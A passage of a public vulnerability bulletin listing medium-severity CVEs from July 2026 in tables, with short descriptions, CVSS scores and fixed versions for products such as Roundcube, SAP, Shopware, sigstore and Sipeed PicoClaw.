| rejetto--hfs                                                                    | Rejetto HFS 3.0.0 through 3.2.0 accepts state-changing API requests via the GET method and exempts GET requests from its anti-CSRF header check. A remote attacker can perform administrative actions including account creation and configuration changes leading to code execution - by causing a logged-in administrator's browser to navigate to a crafted URL, or without any credentials against default installations when the attack originates from the server's own machine.   | 2026-07-13 | 4.3        | <a href="#">CVE-2026-61502</a> |
| remorses--genql                                                                 | remorses/genql before version 6.3.4 allows an authenticated attacker with control of the GraphQL schema that is passed to genql to inject arbitrary JavaScript or TypeScript. The malicious code is injected into the generated schema.ts file and executes when the genql client is bundled and imported.                                                                                                                                                                               | 2026-07-16 | 6.4        | <a href="#">CVE-2026-63397</a> |
| rextheme--Product Feed Manager For WooCommerce Sell on 200+ Online Marketplaces | The Product Feed Manager For WooCommerce - Sell on 200+ Online Marketplaces plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via 's' Search Parameter in all versions up to, and including, 7.6.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. | 2026-07-16 | 6.1        | <a href="#">CVE-2026-15306</a> |
| rizinorg--rz-libdemangle                                                        | rz-libdemangle is a Rizin library for demangling symbols. Prior to 6bf56d3, the Rust demangler in src/rust/rust_v0.c can perform an out-of-bounds read when the demangler structure is not yet initialized. This issue is fixed in commit 6bf56d3.                                                                                                                                                                                                                                       | 2026-07-16 | 5.5        | <a href="#">CVE-2026-45612</a> |
| RobinHerbots--Inputmask                                                         | A vulnerability was found in RobinHerbots Inputmask up to 5.0.9. Affected by this issue is the function extendDefaults/extendDefinitions/extendAliases in the library lib/dependencyLibs/extend.js of the component Internal Deep Merge Helper. The manipulation results in improperly controlled modification of object prototype attributes. The attack may be performed from remote. The project was informed of the problem early through an issue report but has not responded yet. | 2026-07-18 | 6.3        | <a href="#">CVE-2026-16150</a> |
| Roundcube--Webmail                                                              | In Roundcube Webmail before 1.6.17 and 1.7.x before 1.7.2, the password plugin of the Roundcube Webmail was subject to username spoofing via session data, which could lead to account takeover.                                                                                                                                                                                                                                                                                         | 2026-07-14 | 6.4        | <a href="#">CVE-2026-62644</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product                                                                   | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Roundcube--Webmail                                                                          | Roundcube Webmail before 1.6.17 and 1.7.x before 1.7.2 allows Stored Cross-Site Scripting (XSS). The issue occurs because the attachment MIME type is not properly escaped on the attachment-validation warning page.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-14 | 4.7        | <a href="#">CVE-2026-54432</a> |
| Roundcube--Webmail                                                                          | In Roundcube Webmail before 1.6.17 and 1.7.x before 1.7.2, the TNEF decoder was subject to denial of service via a crafted compressed-RTF size.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-14 | 4.3        | <a href="#">CVE-2026-62641</a> |
| Roundcube--Webmail                                                                          | In Roundcube Webmail before 1.6.17 and 1.7.x before 1.7.2, an infinite loop was discovered in the TNEF decoder, which may lead to denial of service upon opening an email with a TNEF attachment.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-14 | 4.3        | <a href="#">CVE-2026-62642</a> |
| Roxnor--FundEngine                                                                          | Missing Authorization vulnerability in Roxnor FundEngine wp-fundraising-donation allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects FundEngine: from n/a through <= 1.7.6.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57406</a> |
| Saad Iqbal--License Manager for WooCommerce                                                 | Missing Authorization vulnerability in Saad Iqbal License Manager for WooCommerce license-manager-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects License Manager for WooCommerce: from n/a through <= 3.0.17.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-13 | 5.4        | <a href="#">CVE-2026-61958</a> |
| Saad Iqbal--myCred                                                                          | Missing Authorization vulnerability in Saad Iqbal myCred mycred allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects myCred: from n/a through <= 3.1.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-13 | 5.4        | <a href="#">CVE-2026-61968</a> |
| sagold--json-schema-library                                                                 | A security vulnerability has been detected in sagold json-schema-library 11.5.0/11.5.1. This impacts the function parsePropertyDependencies of the file src/keywords/propertyDependencies.ts. The manipulation leads to improperly controlled modification of object prototype attributes. The attack can be initiated remotely. Upgrading to version 11.6.0 will fix this issue. The identifier of the patch is 432287ee6f68a02ce6f015354618486ec427a32d. It is advisable to upgrade the affected component.                                                                                                                                                                                                                                                                           | 2026-07-17 | 6.3        | <a href="#">CVE-2026-16008</a> |
| SALTO--ProAccess Space                                                                      | SALTO ProAccess Space software using the tenancy feature / logical partition is vulnerable to a privilege escalation attack that could allow an authorized attacker to access any space managed by the affected product.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-16 | 6.5        | <a href="#">CVE-2026-11889</a> |
| Samsung Open Source--rlottie                                                                | Integer overflow or wraparound vulnerability in Samsung Open Source rlottie allows Overflow Buffers. This issue affects .                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-13 | 5.5        | <a href="#">CVE-2026-15551</a> |
| SAP_SE--@ui5/webcomponents-base                                                             | setThemeRoot() failed to enforce the sap-allowed-theme-origins allowlist. An attacker-controlled absolute cross-origin URL could be stored and used directly to construct a <link rel=stylesheet> element, even when no <meta name=sap-allowed-theme-origins> tag was present in the document. The same bypass was reachable via the ?sap-themeRoot URL parameter.Exploitation requires attacker-influenced input (e.g., a URL query parameter, tenant configuration, or user-supplied setting) to reach setThemeRoot(). A successful exploit allows an attacker to inject arbitrary CSS into the victim page, enabling:- UI redressing and clickjacking- Phishing overlays- Visual defacement- Limited data exfiltration via CSS attribute selectors targeting predictable DOM content | 2026-07-14 | 6.1        | <a href="#">CVE-2026-44767</a> |
| SAP_SE--SAP CRM (WebClient UI)                                                              | SAP CRM WebClient UI allows an attacker to inject and execute malicious scripts in the context of the application due to the absence of a Content Security Policy (CSP) configuration for certain restrictive directives. This vulnerability has a low impact on the integrity of the application. Confidentiality and availability are not impacted.                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-14 | 4.1        | <a href="#">CVE-2026-44768</a> |
| SAP_SE--SAP NetWeaver Application Server ABAP (applications based on Business Server Pages) | Due to a Cross-Site Scripting (XSS) vulnerability, applications based on Business Server Pages framework in SAP NetWeaver Application Server ABAP reflects unsanitized input into the HTTP response which allows an attacker to inject and execute arbitrary JavaScript code under certain conditions. Successful exploitation could allow the attacker to steal session information, perform authenticated actions on behalf of the victim user etc. This vulnerability has low impact on confidentiality and integrity of the data and no impact on application 's availability.                                                                                                                                                                                                      | 2026-07-14 | 4.7        | <a href="#">CVE-2026-44760</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                   | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| SAP_SE--SAP NetWeaver Enterprise Portal                                     | SAP NetWeaver Enterprise Portal allows an unauthenticated attacker to inject malicious scripts into a URL parameter. The scripts are reflected in the server response and executed in a user's browser when the crafted URL is visited, leading to theft of session information, manipulation of portal content, or user redirection, resulting in a low impact on the application's confidentiality and integrity, with no impact on availability.                                                                                                                                                                                                                                                                                                      | 2026-07-14 | 6.1        | <a href="#">CVE-2026-44759</a> |
| SAP_SE--SAP S/4 HANA (Create Single Payment)                                | SAP Create Single Payment does not perform necessary authorization checks for an authenticated user, a restricted user could access specific entity set keys resulting in disclosure of information. This has low impact on confidentiality, with no impact on integrity and availability of the application.                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-14 | 4.3        | <a href="#">CVE-2026-44770</a> |
| SAP_SE--SAP S/4HANA (Draft operation)                                       | SAP S/4HANA Draft operation does not perform necessary authorization checks for an authenticated user, a restricted user could access information within the entity resulting in escalation of privileges. This results in low impact on confidentiality, with no impact on integrity and availability of the application.                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-14 | 4.3        | <a href="#">CVE-2026-44771</a> |
| SAP_SE--SAP S/4HANA Project Management (PPM-PRO)                            | SAP S/4HANA application Project Management (PPM-PRO) allows an attacker with high privileges to execute crafted database queries, exposing the backend database. This results in low impact on confidentiality, with no impact on integrity and availability of the application.                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-14 | 5.5        | <a href="#">CVE-2026-44769</a> |
| SaturdayDrive--Ninja Forms - Excel Export                                   | The Ninja Forms - Excel Export plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.3.6. This is due to the save_filter() AJAX handler storing the raw \$_POST['filter'] array into a WordPress option via update_option() without any capability check, nonce verification, or input sanitization, combined with the get_filter_row() method on the admin Excel Export screen concatenating the stored filter values (field_key, condition, value) directly into HTML attributes without esc_attr(). This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. | 2026-07-17 | 6.4        | <a href="#">CVE-2026-15161</a> |
| SaturdayDrive--Ninja Forms - Excel Export                                   | The Ninja Forms - Excel Export plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.3.6 via the 'spreadsheet_export_form_id' parameter due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with subscriber-level access and above, to enumerate any Ninja Forms form ID and download all stored submission data - including names, email addresses, phone numbers, physical addresses, and any other PII collected by site forms - as a downloadable XLSX file.                                                                                                                                                                            | 2026-07-17 | 4.3        | <a href="#">CVE-2026-15159</a> |
| SaturdayDrive--Ninja Forms - Excel Export                                   | The Ninja Forms - Excel Export plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 3.3.6 via the 'spreadsheet_export_tmp_name' parameter. This makes it possible for authenticated attackers, with subscriber-level access and above, to write .xls/.xlsx files to arbitrary locations on the server, which can be used to stage further attacks.                                                                                                                                                                                                                                                                                                                                                            | 2026-07-17 | 4.3        | <a href="#">CVE-2026-15160</a> |
| shapedplugin--Easy Accordion AI-Powered FAQ & Accordion Blocks, Product FAQ | The Easy Accordion - AI-Powered FAQ & Accordion Blocks, Product FAQ plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'align' Block Attribute in all versions up to, and including, 3.1.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                             | 2026-07-16 | 6.4        | <a href="#">CVE-2026-15652</a> |
| Shibby--Tomato                                                              | A security flaw has been discovered in Shibby Tomato up to 1.28.0000. Affected by this issue is the function sub_2D568 of the component start_jffs2. Performing a manipulation of the argument jffs2_exec results in os command injection. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks. This project is superseded by FreshTomato.                                                                                                                                                                                                                                                                                                                                            | 2026-07-13 | 6.3        | <a href="#">CVE-2026-15546</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Shibby--Tomato            | A weakness has been identified in Shibby Tomato up to 1.28.0000. This affects the function sub_2D048 of the component CIFS Mount Handler. Executing a manipulation of the argument cifs1/cifs2 can lead to os command injection. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks. This project is superseded by FreshTomato.                                                                                                                                                                                                                                                                                 | 2026-07-13 | 6.3        | <a href="#">CVE-2026-15547</a> |
| shivammathur--setup-php   | setup-php is a GitHub action to set up PHP with extensions, php.ini configuration, coverage drivers, and tools. From 2.25.0 prior to 2.37.1, shivammathur/setup-php resolves the PHP version from repository-controlled files such as .php-version, composer.lock through platform-overrides.php, and composer.json through config.platform.php, and insufficiently constrains those values before incorporating them into generated shell or PowerShell setup scripts, allowing command injection on a GitHub Actions runner when workflows such as pull_request_target check out attacker-controlled contents before invoking setup-php. This issue is fixed in version 2.37.1. | 2026-07-17 | 5.6        | <a href="#">CVE-2026-46420</a> |
| shopware--shopware        | Shopware is an open commerce platform. Prior to 6.6.10.18 and 6.7.10.1, a non-admin API user with integration:create ACL privilege can escalate to full administrator by creating an integration with admin: true through the Sync API POST /api/_action/sync; the regular integration endpoint POST /api/integration blocks this, but SyncController::sync() routes writes through SyncService to EntityWriter::upsert(), and src/Core/Framework/Integration/IntegrationDefinition.php lacks WriteProtection on the admin field. This issue is fixed in versions 6.6.10.18 and 6.7.10.1.                                                                                         | 2026-07-17 | 6.5        | <a href="#">CVE-2026-48008</a> |
| shopware--shopware        | Shopware is an open commerce platform. Prior to 6.6.10.18 and 6.7.10.1, a low-privilege admin user with user_recovery:read ACL can take over any admin account by triggering POST /api/_action/user/user-recovery, reading the password recovery hash through POST /api/search/user-recovery, and using PATCH /api/_action/user/user-recovery/password; the root cause is that src/Core/System/User/Recovery/UserRecoveryDefinition.php exposes the hash field through the Admin API without ApiAware(false) or ReadProtection. This issue is fixed in versions 6.6.10.18 and 6.7.10.1.                                                                                           | 2026-07-17 | 6.8        | <a href="#">CVE-2026-48009</a> |
| shopware--shopware        | Shopware is an open commerce platform. Prior to 6.6.10.18 and 6.7.10.1, UserController::upsertUser() in src/Core/Framework/Api/Controller/UserController.php writes raw user data in SYSTEM_SCOPE without filtering the admin field, so a non-admin API user with user:create or user:update ACL permission can set admin: true on new or existing users; IntegrationController::upsertIntegration() contains an isAdmin() check for the same field, but UserController was missing this check. This issue is fixed in versions 6.6.10.18 and 6.7.10.1.                                                                                                                           | 2026-07-17 | 6.5        | <a href="#">CVE-2026-48010</a> |
| shopware--shopware        | Shopware is an open commerce platform. Prior to 6.6.10.18 and 6.7.10.1, the order state transition features /api/_action/order/{orderId}/state/{transition} and similar transaction and delivery transition routes in src/Core/Checkout/Order/Api/OrderActionController.php do not declare PlatformRequest::ATTRIBUTE_ACL or perform an explicit privilege check, so AclAnnotationValidator exits when route ACL metadata is absent and low-privileged users without order:update, order_transaction:update, or order_delivery:update can trigger StateMachineRegistry::transition() writes in SYSTEM_SCOPE. This issue is fixed in versions 6.6.10.18 and 6.7.10.1.              | 2026-07-17 | 6.5        | <a href="#">CVE-2026-48014</a> |
| shopware--shopware        | Shopware is an open commerce platform. Prior to 6.6.10.18 and 6.7.10.1, SVG files are in the allowed_extensions whitelist in src/Core/Framework/Resources/config/packages/shopware.yaml and can be uploaded via the media manager without SVG content sanitization in the upload pipeline from MediaUploadController to FileSaver to TypeDetector, allowing malicious SVG JavaScript such as onload, <script>, and <foreignObject> to execute                                                                                                                                                                                                                                     | 2026-07-17 | 4.9        | <a href="#">CVE-2026-48015</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product     | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                               | in the Shopware domain when the uploaded SVG is viewed. This issue is fixed in versions 6.6.10.18 and 6.7.10.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |            |            |                                |
| shopware--shopware            | Shopware is an open commerce platform. Prior to 6.6.10.18 and 6.7.10.1, the Store API endpoint /store-api/handle-payment in src/Core/Checkout/Payment/SalesChannel/HandlePaymentMethodRoute.php accepts a user-controlled orderId and forwards it to src/Core/Checkout/Payment/PaymentProcessor.php without verifying order ownership or guest-order authentication, allowing a normal customer or guest context to trigger the payment flow for another user's order while /store-api/order enforces the expected ownership model. This issue is fixed in versions 6.6.10.18 and 6.7.10.1.                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-17 | 4.3        | <a href="#">CVE-2026-48016</a> |
| Siemens--COMOS V10.4.5        | A vulnerability has been identified in COMOS V10.4.5 (All versions < V10.4.5.0.2), COMOS V10.6 (All versions < V10.6.1), Designcenter NX (All versions < V2512.7000), Simcenter 3D (All versions < V2512.7000), Simcenter Femap V2506 (All versions < V2506.0003), Simcenter Femap V2512 (All versions < V2512.0002), Simcenter Nastran (All versions < V2606), Simcenter STAR-CCM+ (All versions < V2606), Solid Edge SE2025 (All versions < V225.0 Update 13), Solid Edge SE2026 (All versions < V226.0 Update 04), Teamcenter Visualization V2412 (All versions < V2412.0012), Teamcenter Visualization V2506 (All versions < V2506.0009), Teamcenter Visualization V2512 (All versions < V2512.2605), Tecnomatix Plant Simulation V2404 (All versions < V2404.0022), Tecnomatix Plant Simulation V2504 (All versions < V2504.0010), Tecnomatix Process Simulate (All versions < V2606). Untrusted search path in IAM Client SDK may allow an authenticated user to potentially enable escalation of privilege via local access. | 2026-07-14 | 6.7        | <a href="#">CVE-2025-40945</a> |
| sigstore--sigstore-go         | sigstore-go is a Go library for Sigstore signing and verification. Prior to 1.2.0, a verifier configured with WithTransparencyLog(N>1) or WithSignedCertificateTimestamps(N>1) counts verified witnesses per entry or per validation path rather than per log authority, allowing a single compromised transparency log or CT log to satisfy multi-log threshold requirements and defeat the multi-log policy. This issue is fixed in version 1.2.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-17 | 5.9        | <a href="#">CVE-2026-49834</a> |
| sigstore--sigstore-js         | sigstore-js provides JavaScript libraries for interacting with Sigstore services. Prior to 3.1.1, @sigstore/verify derives a transparency-log timestamp from tlogEntries[].integratedTime for bundle v0.2 inclusionProof-only entries even though the inclusion proof path does not cryptographically bind integratedTime, allowing an attacker who can supply an untrusted bundle to influence certificate validity and timestampThreshold verification decisions. This issue is fixed in version 3.1.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-14 | 6.5        | <a href="#">CVE-2026-48816</a> |
| sigstore--sigstore-js         | sigstore-js provides JavaScript libraries for interacting with Sigstore services. Prior to 3.2.1, the preAuthEncoding function in @sigstore/core uses Node.js ascii encoding when converting the PAE string to bytes, allowing payloadType to be mutated after signing without invalidating the signature and breaking the type-binding guarantee that DSSE is designed to provide. This issue is fixed in version 3.2.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-14 | 5.4        | <a href="#">CVE-2026-48758</a> |
| sigstore--timestamp-authority | Sigstore Timestamp Authority is a service for issuing RFC 3161 timestamps. Prior to 2.1.0, the global wrapMetrics middleware records raw HTTP request path r.URL.Path and raw HTTP request method r.Method as Prometheus labels for latency and request count metric vectors before routing, allowing an unauthenticated remote attacker to issue requests with random paths such as /api/v1/timestamp/<uuid> or random HTTP methods and create unbounded permanent time-series entries that exhaust memory. This issue is fixed in version 2.1.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-17 | 5.9        | <a href="#">CVE-2026-49835</a> |
| Sipeed--PicoClaw              | A security flaw has been discovered in Sipeed PicoClaw up to 0.2.9. This issue affects the function dispatchIncoming of the file pkg/channels/wecom/wecom.go of the component Group Message Handler. The manipulation results in incorrect                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-18 | 6.3        | <a href="#">CVE-2026-16195</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product               | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                         | authorization. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. The reported GitHub issue was closed automatically due to inactivity.                                                                                                                                                                                                                                                                                                                                                                                                          |            |            |                                |
| Sipeed--PicoClaw                        | A weakness has been identified in Sipeed PicoClaw up to 0.2.9. Impacted is the function isPrivateOrRestrictedIP of the file pkg/tools/integration/web.go of the component web_fetch. This manipulation causes server-side request forgery. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks. Patch name: 2efbe5d560e7ed9bc5209c203dc4aa6ecdbc7405. To fix this issue, it is recommended to deploy a patch.                                                                                                                                      | 2026-07-18 | 6.3        | <a href="#">CVE-2026-16196</a> |
| Sipeed--PicoClaw                        | A security vulnerability has been detected in Sipeed PicoClaw up to 0.2.9. The affected element is the function handleMessageReceive of the file pkg/channels/feishu/feishu_64.go of the component Group Message Handler. Such manipulation leads to missing authorization. The attack can be launched remotely. The exploit has been disclosed publicly and may be used. The reported GitHub issue was closed automatically due to inactivity.                                                                                                                                                                      | 2026-07-18 | 6.3        | <a href="#">CVE-2026-16197</a> |
| Sipeed--PicoClaw                        | A vulnerability was identified in Sipeed PicoClaw up to 0.2.9. The impacted element is the function ExecTool.executeRun of the file pkg/agent/pipeline_execute.go. The manipulation of the argument cwe leads to time-of-check time-of-use. The attack must be carried out locally. The exploit is publicly available and might be used. The reported GitHub issue was closed automatically with the label "not planned" by a bot.                                                                                                                                                                                   | 2026-07-18 | 5.3        | <a href="#">CVE-2026-16082</a> |
| Sipeed--PicoClaw                        | A security flaw has been discovered in Sipeed PicoClaw up to 0.2.9. This affects the function webhook.ParseRequest of the file pkg/channels/line/line.go of the component LINE Webhook. The manipulation results in authentication bypass by capture-replay. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks. The reported GitHub issue was closed automatically with the label "not planned" by a bot.                                                                                                                                                 | 2026-07-18 | 5.3        | <a href="#">CVE-2026-16083</a> |
| Sipeed--PicoClaw                        | A security vulnerability has been detected in Sipeed PicoClaw up to 0.2.9. Affected is the function NewContextBuilder of the file pkg/agent/context.go. Such manipulation leads to inclusion of functionality from untrusted control sphere. The attack needs to be performed locally. The exploit has been disclosed publicly and may be used. The reported GitHub issue was closed automatically with the label "not planned" by a bot.                                                                                                                                                                            | 2026-07-18 | 5.3        | <a href="#">CVE-2026-16085</a> |
| Sipeed--PicoClaw                        | A vulnerability was detected in Sipeed PicoClaw up to 0.2.9. The impacted element is an unknown function of the file web/backend/middleware/access_control.go of the component First Run Setup. Performing a manipulation of the argument allowed_cidrs results in authentication bypass using alternate channel. The attack may be initiated remotely. The attack's complexity is rated as high. The exploitability is regarded as difficult. The exploit is now public and may be used. The patch is named 017601354be38cb027ff3ffb01aed79bd5d12610. Applying a patch is the recommended action to fix this issue. | 2026-07-18 | 5.6        | <a href="#">CVE-2026-16198</a> |
| Sipeed--PicoClaw                        | A vulnerability was determined in Sipeed PicoClaw up to 0.2.9. The affected element is an unknown function of the file web/backend/api/auth.go. Executing a manipulation can lead to cross-site request forgery. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. This patch is called 4b0229351678f479429b8d8b19207757266f246b. Applying a patch is advised to resolve this issue.                                                                                                                                                                                 | 2026-07-18 | 4.3        | <a href="#">CVE-2026-16081</a> |
| Skillable--SCORM Lab Launch Integration | The SCORM lab launch endpoint in Skillable (scorm.skillable.com) through 2026-07-13 does not validate the client-supplied userId parameter against the authenticated SCORM session token. An authenticated user can substitute arbitrary userId values to bypass per-user lab launch rate limits and consume other                                                                                                                                                                                                                                                                                                   | 2026-07-13 | 6.3        | <a href="#">CVE-2026-56877</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product                         | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                   | users' lab allocations, resulting in denial of service against targeted users' lab and exam access. Skillable was formerly named Learn on Demand Systems.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |            |            |                                |
| SourceCodester--Class and Exam Timetabling System | A vulnerability was determined in SourceCodester Class and Exam Timetabling System 1.0. The affected element is an unknown function of the file /forsubject.php. This manipulation of the argument subject causes cross site scripting. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized.                                                                                                                                                                                                                                                                                                                                 | 2026-07-13 | 4.3        | <a href="#">CVE-2026-15595</a> |
| SourceCodester--Class and Exam Timetabling System | A vulnerability was identified in SourceCodester Class and Exam Timetabling System 1.0. The impacted element is an unknown function of the file /subject.php. Such manipulation of the argument subject leads to cross site scripting. It is possible to launch the attack remotely. The exploit is publicly available and might be used.                                                                                                                                                                                                                                                                                                                                            | 2026-07-13 | 4.3        | <a href="#">CVE-2026-15596</a> |
| SourceCodester--Class and Exam Timetabling System | A vulnerability was identified in SourceCodester Class and Exam Timetabling System 1.0. Affected by this vulnerability is an unknown functionality of the file /exam.php. Such manipulation of the argument day leads to cross site scripting. It is possible to launch the attack remotely. The exploit is publicly available and might be used.                                                                                                                                                                                                                                                                                                                                    | 2026-07-14 | 4.3        | <a href="#">CVE-2026-15715</a> |
| SourceCodester--Online Book Store System          | A security vulnerability has been detected in SourceCodester Online Book Store System 1.0. Impacted is an unknown function of the file /admin/index.php?page=books of the component Book Image Upload Feature. Such manipulation leads to unrestricted upload. The attack may be performed from remote. The exploit has been disclosed publicly and may be used.                                                                                                                                                                                                                                                                                                                     | 2026-07-13 | 4.7        | <a href="#">CVE-2026-15539</a> |
| SourceCodester--Online Book Store System          | A vulnerability was detected in SourceCodester Online Book Store System 1.0. The affected element is an unknown function of the file /admin/index.php of the component Administrative Interface. Performing a manipulation of the argument page results in improper control of filename for include/require statement in php program. It is possible to initiate the attack remotely. The exploit is now public and may be used.                                                                                                                                                                                                                                                     | 2026-07-13 | 4.3        | <a href="#">CVE-2026-15540</a> |
| SourceCodester--Pizzafy Ecommerce System          | A weakness has been identified in SourceCodester Pizzafy Ecommerce System 1.0. This affects the function save_settings of the file /admin/admin_class_novo.php. This manipulation of the argument img causes unrestricted upload. The attack is possible to be carried out remotely.                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-19 | 4.7        | <a href="#">CVE-2026-16226</a> |
| Sovlix--MeetingHub                                | Missing Authorization vulnerability in Sovlix MeetingHub meetinghub allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects MeetingHub: from n/a through <= 1.25.10.                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-13 | 5.3        | <a href="#">CVE-2026-57781</a> |
| Spacetime--Ad Inserter                            | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Spacetime Ad Inserter ad-inserter allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Ad Inserter: from n/a through <= 2.8.11.                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-13 | 6.5        | <a href="#">CVE-2026-57693</a> |
| spencermountain--compromise                       | A vulnerability was identified in spencermountain compromise up to 14.15.1. Affected is the function nlp.extend of the file src/API/extend.js of the component Public Root API. The manipulation of the argument plugin leads to improperly controlled modification of object prototype attributes. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. The identifier of the patch is b4644ab7179700df0607521f61c1ee9b5f78d89d. Applying a patch is the recommended action to fix this issue. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product. | 2026-07-14 | 6.3        | <a href="#">CVE-2026-15699</a> |
| Splunk--Splunk Enterprise                         | In Splunk Enterprise versions below 10.4.1, 10.2.5, 10.0.8, and 9.4.13, and Splunk Cloud Platform versions below 10.5.2605.0, 10.4.2604.6, 10.3.2512.15, 10.2.2510.18, and 10.1.2507.24, a low-privileged user that does not hold the 'admin' or 'power' Splunk roles could view stored credential hashes when they                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-15 | 5.3        | <a href="#">CVE-2026-20298</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                  | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
